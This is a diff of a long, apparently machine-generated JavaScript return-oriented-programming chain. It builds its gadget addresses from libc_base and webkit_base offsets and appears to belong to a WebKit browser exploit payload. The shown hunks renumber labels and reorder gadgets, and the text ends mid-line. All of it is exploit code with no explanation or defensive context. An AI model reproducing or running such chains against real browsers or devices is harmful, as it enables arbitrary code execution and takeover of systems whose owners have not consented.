@@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+167064, //L2478 +ropchain+166624, //L2460 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2478: +//L2460: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+167176, //L2481 -webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+167192, //L2482 +ropchain+166712, //L2462 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+166744, //L2465 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L2479: +//L2462: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2463: db([16, 0]); // 0x10 set_gadget(webkit_base+432898,); //pop r8 -//L2481: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2482: +//L2465: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+167296, //L2485 +ropchain+166848, //L2468 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+167280, //L2484 +ropchain+166832, //L2466 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2484: +//L2466: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2485: +//L2468: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+167400, //L2486 +ropchain+166952, //L2469 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+167432, //L2488 +ropchain+166984, //L2471 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+167416, //L2487 +ropchain+166968, //L2470 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2486: +//L2469: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2487: +//L2470: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2488: +//L2471: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17311,17 +17246,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+167528, //L2489 +ropchain+167080, //L2472 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+167544, //L2490 +ropchain+167096, //L2473 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2489: +//L2472: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2490: +//L2473: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17331,32 +17266,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+167656, //L2491 +ropchain+167208, //L2474 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+167640, //L2492 +ropchain+167192, //L2475 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2492: +//L2475: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2491: +//L2474: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+167744, //L2494 +ropchain+167296, //L2477 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+167728, //L2493 +ropchain+167280, //L2476 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2493: +//L2476: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2494: +//L2477: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17366,17 +17301,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+167840, //L2495 +ropchain+167392, //L2478 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+167856, //L2496 +ropchain+167408, //L2479 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2495: +//L2478: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2496: +//L2479: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17386,17 +17321,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+167968, //L2497 +ropchain+167520, //L2480 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+167952, //L2498 +ropchain+167504, //L2481 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2498: +//L2481: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2497: +//L2480: db([0, 0]); // 0x0 //___bswap32_var: set_gadget(libc_base+793877,); //pop rsi @@ -17404,128 +17339,127 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+168040, //L2500 +ropchain+167592, //L2482 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2500: +//L2482: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+168152, //L2503 -webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+168168, //L2504 +ropchain+167680, //L2484 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+167712, //L2487 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L2501: +//L2484: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2485: db([16, 0]); // 0x10 set_gadget(webkit_base+432898,); //pop r8 -//L2503: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2504: +//L2487: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+168272, //L2507 +ropchain+167816, //L2490 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+168256, //L2506 +ropchain+167800, //L2488 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2506: +//L2488: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2507: +//L2490: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+168440, //L2510 +ropchain+167984, //L2493 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+168456, //L2511 +ropchain+168000, //L2494 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+168408, //L2508 +ropchain+167968, //L2491 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+168424, //L2509 +ropchain+167952, //L2492 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2508: +//L2492: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2509: +//L2491: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2510: +//L2493: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2511: +//L2494: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+168616, //L2515 +ropchain+168160, //L2498 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+168568, //L2512 +ropchain+168112, //L2496 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+168600, //L2514 +ropchain+168144, //L2497 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2512: +//L2496: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2513: +//L2495: db([32, 0]); // 0x20 set_gadget(libc_base+206806,); //pop rdi -//L2514: +//L2497: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2515: +//L2498: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+168728, //L2516 +ropchain+168272, //L2499 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+168760, //L2518 +ropchain+168304, //L2501 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+168744, //L2517 +ropchain+168288, //L2500 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2516: +//L2499: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2517: +//L2500: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2518: +//L2501: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17535,17 +17469,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+168856, //L2519 +ropchain+168400, //L2502 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+168872, //L2520 +ropchain+168416, //L2503 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2519: +//L2502: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2520: +//L2503: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17555,32 +17489,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+168984, //L2521 +ropchain+168528, //L2504 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+168968, //L2522 +ropchain+168512, //L2505 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2522: +//L2505: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2521: +//L2504: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+169072, //L2524 +ropchain+168616, //L2507 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+169056, //L2523 +ropchain+168600, //L2506 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2523: +//L2506: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2524: +//L2507: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17590,17 +17524,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+169168, //L2525 +ropchain+168712, //L2508 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+169184, //L2526 +ropchain+168728, //L2509 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2525: +//L2508: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2526: +//L2509: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17610,17 +17544,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+169296, //L2527 +ropchain+168840, //L2510 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+169280, //L2528 +ropchain+168824, //L2511 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2528: +//L2511: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2527: +//L2510: db([0, 0]); // 0x0 //___bswap16_var: set_gadget(libc_base+793877,); //pop rsi @@ -17628,151 +17562,150 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+169368, //L2530 +ropchain+168912, //L2512 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2530: +//L2512: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+169480, //L2533 -webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+169496, //L2534 +ropchain+169000, //L2514 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+169032, //L2517 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L2531: +//L2514: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2515: db([16, 0]); // 0x10 set_gadget(webkit_base+432898,); //pop r8 -//L2533: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2534: +//L2517: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+169600, //L2537 +ropchain+169136, //L2520 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+169584, //L2536 +ropchain+169120, //L2518 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2536: +//L2518: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2537: +//L2520: db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi -ropchain+169760, //L2541 +ropchain+169296, //L2524 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+169712, //L2538 +ropchain+169248, //L2522 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+169744, //L2540 +ropchain+169280, //L2523 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2538: +//L2522: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2539: +//L2521: db([16, 0]); // 0x10 set_gadget(libc_base+206806,); //pop rdi -//L2540: +//L2523: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2541: +//L2524: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+169816, //L2543 +ropchain+169352, //L2526 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2543: +//L2526: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+169920, //L2544 +ropchain+169456, //L2528 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+169952, //L2546 +ropchain+169488, //L2529 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+169936, //L2545 +ropchain+169472, //L2527 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2544: +//L2528: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2545: +//L2527: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2546: +//L2529: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+170112, //L2550 +ropchain+169648, //L2533 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+170064, //L2547 +ropchain+169600, //L2531 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+170096, //L2549 +ropchain+169632, //L2532 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2547: +//L2531: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2548: +//L2530: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi -//L2549: +//L2532: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2550: +//L2533: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+170216, //L2552 +ropchain+169752, //L2535 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+170200, //L2551 +ropchain+169736, //L2534 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2551: +//L2534: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2552: +//L2535: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -17781,10 +17714,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L2553: +//L2536: db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L2554: +//L2537: db([8, 0]); // 0x8 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17795,38 +17728,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+170424, //L2557 +ropchain+169960, //L2540 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+170392, //L2555 +ropchain+169928, //L2539 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2555: +//L2539: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2556: +//L2538: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax -//L2557: +//L2540: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+170528, //L2559 +ropchain+170064, //L2542 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+170512, //L2558 +ropchain+170048, //L2541 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2558: +//L2541: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2559: +//L2542: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -17834,133 +17767,133 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+170624, //L2562 +ropchain+170144, //L2543 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L2560: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L2562: +//L2543: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2544: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+170728, //L2565 +ropchain+170264, //L2548 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+170712, //L2564 +ropchain+170248, //L2546 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2564: +//L2546: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2565: +//L2548: db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi -ropchain+170888, //L2569 +ropchain+170424, //L2552 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+170840, //L2566 +ropchain+170376, //L2550 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+170872, //L2568 +ropchain+170408, //L2551 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2566: +//L2550: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2567: +//L2549: db([16, 0]); // 0x10 set_gadget(libc_base+206806,); //pop rdi -//L2568: +//L2551: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2569: +//L2552: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+170944, //L2571 +ropchain+170480, //L2554 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2571: +//L2554: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+171048, //L2572 +ropchain+170584, //L2556 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+171080, //L2574 +ropchain+170616, //L2557 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+171064, //L2573 +ropchain+170600, //L2555 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2572: +//L2556: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2573: +//L2555: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2574: +//L2557: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+171240, //L2578 +ropchain+170776, //L2561 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+171192, //L2575 +ropchain+170728, //L2559 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+171224, //L2577 +ropchain+170760, //L2560 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2575: +//L2559: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2576: +//L2558: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi -//L2577: +//L2560: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2578: +//L2561: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+171344, //L2580 +ropchain+170880, //L2563 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+171328, //L2579 +ropchain+170864, //L2562 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2579: +//L2562: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2580: +//L2563: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -17969,10 +17902,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L2581: +//L2564: db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L2582: +//L2565: db([8, 0]); // 0x8 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -17982,78 +17915,78 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+171544, //L2585 +ropchain+171080, //L2568 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+171512, //L2583 +ropchain+171048, //L2567 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2583: +//L2567: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2584: +//L2566: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax -//L2585: +//L2568: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+171648, //L2587 +ropchain+171184, //L2570 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+171632, //L2586 +ropchain+171168, //L2569 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2586: +//L2569: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2587: +//L2570: db([0, 0]); // 0x0 set_gadgets([ libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+171760, //L2590 +ropchain+171296, //L2573 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+171728, //L2588 +ropchain+171264, //L2572 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2588: +//L2572: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2589: +//L2571: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax -//L2590: +//L2573: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+171824, //L2591 +ropchain+171360, //L2574 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+792472 //pop rcx ]); -//L2591: +//L2574: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+171880, //L2594 +ropchain+171416, //L2576 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2594: +//L2576: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -18061,73 +17994,73 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+75236, //or rax, rcx libc_base+793877, //pop rsi -ropchain+172024, //L2596 +ropchain+171560, //L2579 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+172040, //L2597 +ropchain+171576, //L2580 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+172008, //L2595 +ropchain+171544, //L2578 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2595: +//L2578: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2596: +//L2579: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2597: +//L2580: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+172200, //L2601 +ropchain+171736, //L2584 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+172152, //L2598 +ropchain+171688, //L2582 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+172184, //L2600 +ropchain+171720, //L2583 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2598: +//L2582: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2599: +//L2581: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi -//L2600: +//L2583: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2601: +//L2584: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+172312, //L2602 +ropchain+171848, //L2585 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+172344, //L2604 +ropchain+171880, //L2587 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+172328, //L2603 +ropchain+171864, //L2586 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2602: +//L2585: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2603: +//L2586: db([0, 0]); // 